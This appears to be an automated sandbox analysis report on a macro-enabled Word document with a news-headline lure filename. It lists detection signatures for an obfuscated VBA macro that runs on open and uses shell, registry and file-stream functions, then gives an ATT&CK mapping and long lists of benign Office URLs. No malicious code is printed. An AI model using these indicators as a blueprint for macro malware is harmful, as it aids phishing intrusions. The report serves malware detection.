Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function maisLixo, String ntSecurityDescriptor
Document contains an embedded VBA with functions possibly related to ADO stream file operationsShow sources
Source: Medica negra morre covid-19 apos racismo.docmStream path 'VBA/ThisDocument' : found possibly 'ADODB.Stream' functions loadfromfile, open, read, readtext, savetofile, write, writetext
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function charset, found possibly 'ADODB.Stream' functions loadfromfile, open, readName: charset
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function CheckValidUtf8, found possibly 'ADODB.Stream' functions loadfromfile, open, readName: CheckValidUtf8
Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)Show sources
Source: Medica negra morre covid-19 apos racismo.docmStream path 'VBA/ThisDocument' : found possibly 'WScript.Shell' functions environment, exec, expandenvironmentstrings, regread, run, environ
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Private Sub Document_Open()
Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function Document_OpenName: Document_Open
Source: Medica negra morre covid-19 apos racismo.docmOLE indicator, VBA macros: true
Source: Medica negra morre covid-19 apos racismo.docmOLE indicator has summary info: false
Source: Medica negra morre covid-19 apos racismo.docmOLE indicator application name: unknown
Source: classification engineClassification label: mal68.expl.evad.winDOCM@1/8@0/0
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.WordJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEFile created: C:\Users\user\AppData\Local\Temp\{B3962497-6F20-462A-88C9-1FC5FC57EB8A} - OProcSessId.datJump to behavior
Source: Medica negra morre covid-19 apos racismo.docmOLE document summary: title field not present or empty
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEWindow found: window name: SysTabControl32Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEAutomated click: OK
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEAutomated click: OK
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguagesJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dllJump to behavior

Data Obfuscation:

barindex
Document contains an embedded VBA with many string operations indicating source code obfuscationShow sources
Source: Medica negra morre covid-19 apos racismo.docmStream path 'VBA/ThisDocument' : High number of string operations
Source: VBA code instrumentationOLE, VBA macro, High number of string operations: Module ThisDocumentName: ThisDocument
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior

Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid AccountsScripting62Path InterceptionExtra Window Memory Injection1Masquerading1OS Credential DumpingFile and Directory Discovery1Remote ServicesData from Local SystemExfiltration Over Other Network MediumData ObfuscationEavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsScripting62LSASS MemorySystem Information Discovery1Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothJunk DataExploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Obfuscated Files or Information1Security Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationSteganographyExploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Extra Window Memory Injection1NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
Medica negra morre covid-19 apos racismo.docm100%Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

SourceDetectionScannerLabelLink
https://cdn.entity.0%URL Reputationsafe
https://cdn.entity.0%URL Reputationsafe
https://cdn.entity.0%URL Reputationsafe
https://cdn.entity.0%URL Reputationsafe
https://wus2-000.contentsync.0%URL Reputationsafe
https://wus2-000.contentsync.0%URL Reputationsafe
https://wus2-000.contentsync.0%URL Reputationsafe
https://wus2-000.contentsync.0%URL Reputationsafe
https://powerlift.acompli.net0%URL Reputationsafe
https://powerlift.acompli.net0%URL Reputationsafe
https://powerlift.acompli.net0%URL Reputationsafe
https://powerlift.acompli.net0%URL Reputationsafe
https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
https://cortana.ai0%URL Reputationsafe
https://cortana.ai0%URL Reputationsafe
https://cortana.ai0%URL Reputationsafe
https://cortana.ai0%URL Reputationsafe
https://api.aadrm.com/0%URL Reputationsafe
https://api.aadrm.com/0%URL Reputationsafe
https://api.aadrm.com/0%URL Reputationsafe
https://api.aadrm.com/0%URL Reputationsafe
https://ofcrecsvcapi-int.azurewebsites.net/0%VirustotalBrowse
https://ofcrecsvcapi-int.azurewebsites.net/0%Avira URL Cloudsafe
https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
https://officeci.azurewebsites.net/api/0%VirustotalBrowse
https://officeci.azurewebsites.net/api/0%Avira URL Cloudsafe
https://store.office.cn/addinstemplate0%URL Reputationsafe
https://store.office.cn/addinstemplate0%URL Reputationsafe
https://store.office.cn/addinstemplate0%URL Reputationsafe
https://store.office.cn/addinstemplate0%URL Reputationsafe
https://wus2-000.pagecontentsync.0%URL Reputationsafe
https://wus2-000.pagecontentsync.0%URL Reputationsafe
https://wus2-000.pagecontentsync.0%URL Reputationsafe
https://wus2-000.pagecontentsync.0%URL Reputationsafe
https://store.officeppe.com/addinstemplate0%URL Reputationsafe
https://store.officeppe.com/addinstemplate0%URL Reputationsafe
https://store.officeppe.com/addinstemplate0%URL Reputationsafe
https://store.officeppe.com/addinstemplate0%URL Reputationsafe
https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
https://www.odwebp.svc.ms0%URL Reputationsafe
https://www.odwebp.svc.ms0%URL Reputationsafe
https://www.odwebp.svc.ms0%URL Reputationsafe
https://www.odwebp.svc.ms0%URL Reputationsafe
https://dataservice.o365filtering.com/0%URL Reputationsafe
https://dataservice.o365filtering.com/0%URL Reputationsafe
https://dataservice.o365filtering.com/0%URL Reputationsafe
https://dataservice.o365filtering.com/0%URL Reputationsafe
https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
https://apis.live.net/v5.0/0%URL Reputationsafe
https://apis.live.net/v5.0/0%URL Reputationsafe
https://apis.live.net/v5.0/0%URL Reputationsafe
https://apis.live.net/v5.0/0%URL Reputationsafe
https://asgsmsproxyapi.azurewebsites.net/0%VirustotalBrowse
https://asgsmsproxyapi.azurewebsites.net/0%Avira URL Cloudsafe
https://ncus-000.contentsync.0%URL Reputationsafe
https://ncus-000.contentsync.0%URL Reputationsafe
https://ncus-000.contentsync.0%URL Reputationsafe
https://ncus-000.contentsync.0%URL Reputationsafe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
https://skyapi.live.net/Activity/0%URL Reputationsafe
https://skyapi.live.net/Activity/0%URL Reputationsafe
https://skyapi.live.net/Activity/0%URL Reputationsafe
https://skyapi.live.net/Activity/0%URL Reputationsafe
https://dataservice.o365filtering.com0%URL Reputationsafe
https://dataservice.o365filtering.com0%URL Reputationsafe
https://dataservice.o365filtering.com0%URL Reputationsafe
https://dataservice.o365filtering.com0%URL Reputationsafe
https://ovisualuiapp.azurewebsites.net/pbiagave/0%Avira URL Cloudsafe
https://directory.services.0%URL Reputationsafe
https://directory.services.0%URL Reputationsafe
https://directory.services.0%URL Reputationsafe

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

NameSourceMaliciousAntivirus DetectionReputation
https://api.diagnosticssdf.office.com8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
    		high
    https://login.microsoftonline.com/8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
      		high
      https://shell.suite.office.com:14438CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
        		high
        https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
          		high
          https://autodiscover-s.outlook.com/8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
            		high
            https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
              		high
              https://cdn.entity.8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
              • URL Reputation: safe
              • URL Reputation: safe
              • URL Reputation: safe
              • URL Reputation: safe
              		unknown
              https://api.addins.omex.office.net/appinfo/query8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                		high
                https://wus2-000.contentsync.8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                • URL Reputation: safe
                • URL Reputation: safe
                • URL Reputation: safe
                • URL Reputation: safe
                		unknown
                https://clients.config.office.net/user/v1.0/tenantassociationkey8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                  		high
                  https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                    		high
                    https://powerlift.acompli.net8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    		unknown
                    https://rpsticket.partnerservices.getmicrosoftkey.com8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    		unknown
                    https://lookup.onenote.com/lookup/geolocation/v18CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                      		high
                      https://cortana.ai8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      		unknown
                      https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                        		high
                        https://cloudfiles.onenote.com/upload.aspx8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                          		high
                          https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                            		high
                            https://entitlement.diagnosticssdf.office.com8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                              		high
                              https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                		high
                                https://api.aadrm.com/8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                • URL Reputation: safe
                                • URL Reputation: safe
                                • URL Reputation: safe
                                • URL Reputation: safe
                                		unknown
                                https://ofcrecsvcapi-int.azurewebsites.net/8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                • 0%, Virustotal, Browse
                                • Avira URL Cloud: safe
                                		unknown
                                https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                  		high
                                  https://api.microsoftstream.com/api/8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                    		high
                                    https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                      		high
                                      https://cr.office.com8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                        		high
                                        https://portal.office.com/account/?ref=ClientMeControl8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                          		high
                                          https://ecs.office.com/config/v2/Office8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                            		high
                                            https://graph.ppe.windows.net8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                              		high
                                              https://res.getmicrosoftkey.com/api/redemptionevents8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                              • URL Reputation: safe
                                              • URL Reputation: safe
                                              • URL Reputation: safe
                                              • URL Reputation: safe
                                              		unknown
                                              https://powerlift-frontdesk.acompli.net8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                              • URL Reputation: safe
                                              • URL Reputation: safe
                                              • URL Reputation: safe
                                              • URL Reputation: safe
                                              		unknown
                                              https://tasks.office.com8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                		high
                                                https://officeci.azurewebsites.net/api/8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                • 0%, Virustotal, Browse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                https://sr.outlook.office.net/ws/speech/recognize/assistant/work8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                  		high
                                                  https://store.office.cn/addinstemplate8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                  • URL Reputation: safe
                                                  • URL Reputation: safe
                                                  • URL Reputation: safe
                                                  • URL Reputation: safe
                                                  		unknown
                                                  https://wus2-000.pagecontentsync.8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                  • URL Reputation: safe
                                                  • URL Reputation: safe
                                                  • URL Reputation: safe
                                                  • URL Reputation: safe
                                                  		unknown
                                                  https://outlook.office.com/autosuggest/api/v1/init?cvid=8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                    		high
                                                    https://globaldisco.crm.dynamics.com8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                      		high
                                                      https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                        		high
                                                        https://store.officeppe.com/addinstemplate8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        		unknown
                                                        https://dev0-api.acompli.net/autodetect8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        		unknown
                                                        https://www.odwebp.svc.ms8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        • URL Reputation: safe
                                                        		unknown
                                                        https://api.powerbi.com/v1.0/myorg/groups8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                          		high
                                                          https://web.microsoftstream.com/video/8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                            		high
                                                            https://graph.windows.net8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                              		high
                                                              https://dataservice.o365filtering.com/8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              		unknown
                                                              https://officesetup.getmicrosoftkey.com8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              • URL Reputation: safe
                                                              		unknown
                                                              https://analysis.windows.net/powerbi/api8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                		high
                                                                https://prod-global-autodetect.acompli.net/autodetect8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                • URL Reputation: safe
                                                                		unknown
                                                                https://outlook.office365.com/autodiscover/autodiscover.json8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                  		high
                                                                  https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                    		high
                                                                    https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                      		high
                                                                      https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                        		high
                                                                        https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                          		high
                                                                          https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                            		high
                                                                            http://weather.service.msn.com/data.aspx8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                              		high
                                                                              https://apis.live.net/v5.0/8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                              • URL Reputation: safe
                                                                              • URL Reputation: safe
                                                                              • URL Reputation: safe
                                                                              • URL Reputation: safe
                                                                              		unknown
                                                                              https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks8CE411D0-944A-475F-831C-DB1313AF15FE.0.drfalse
                                                                                		high
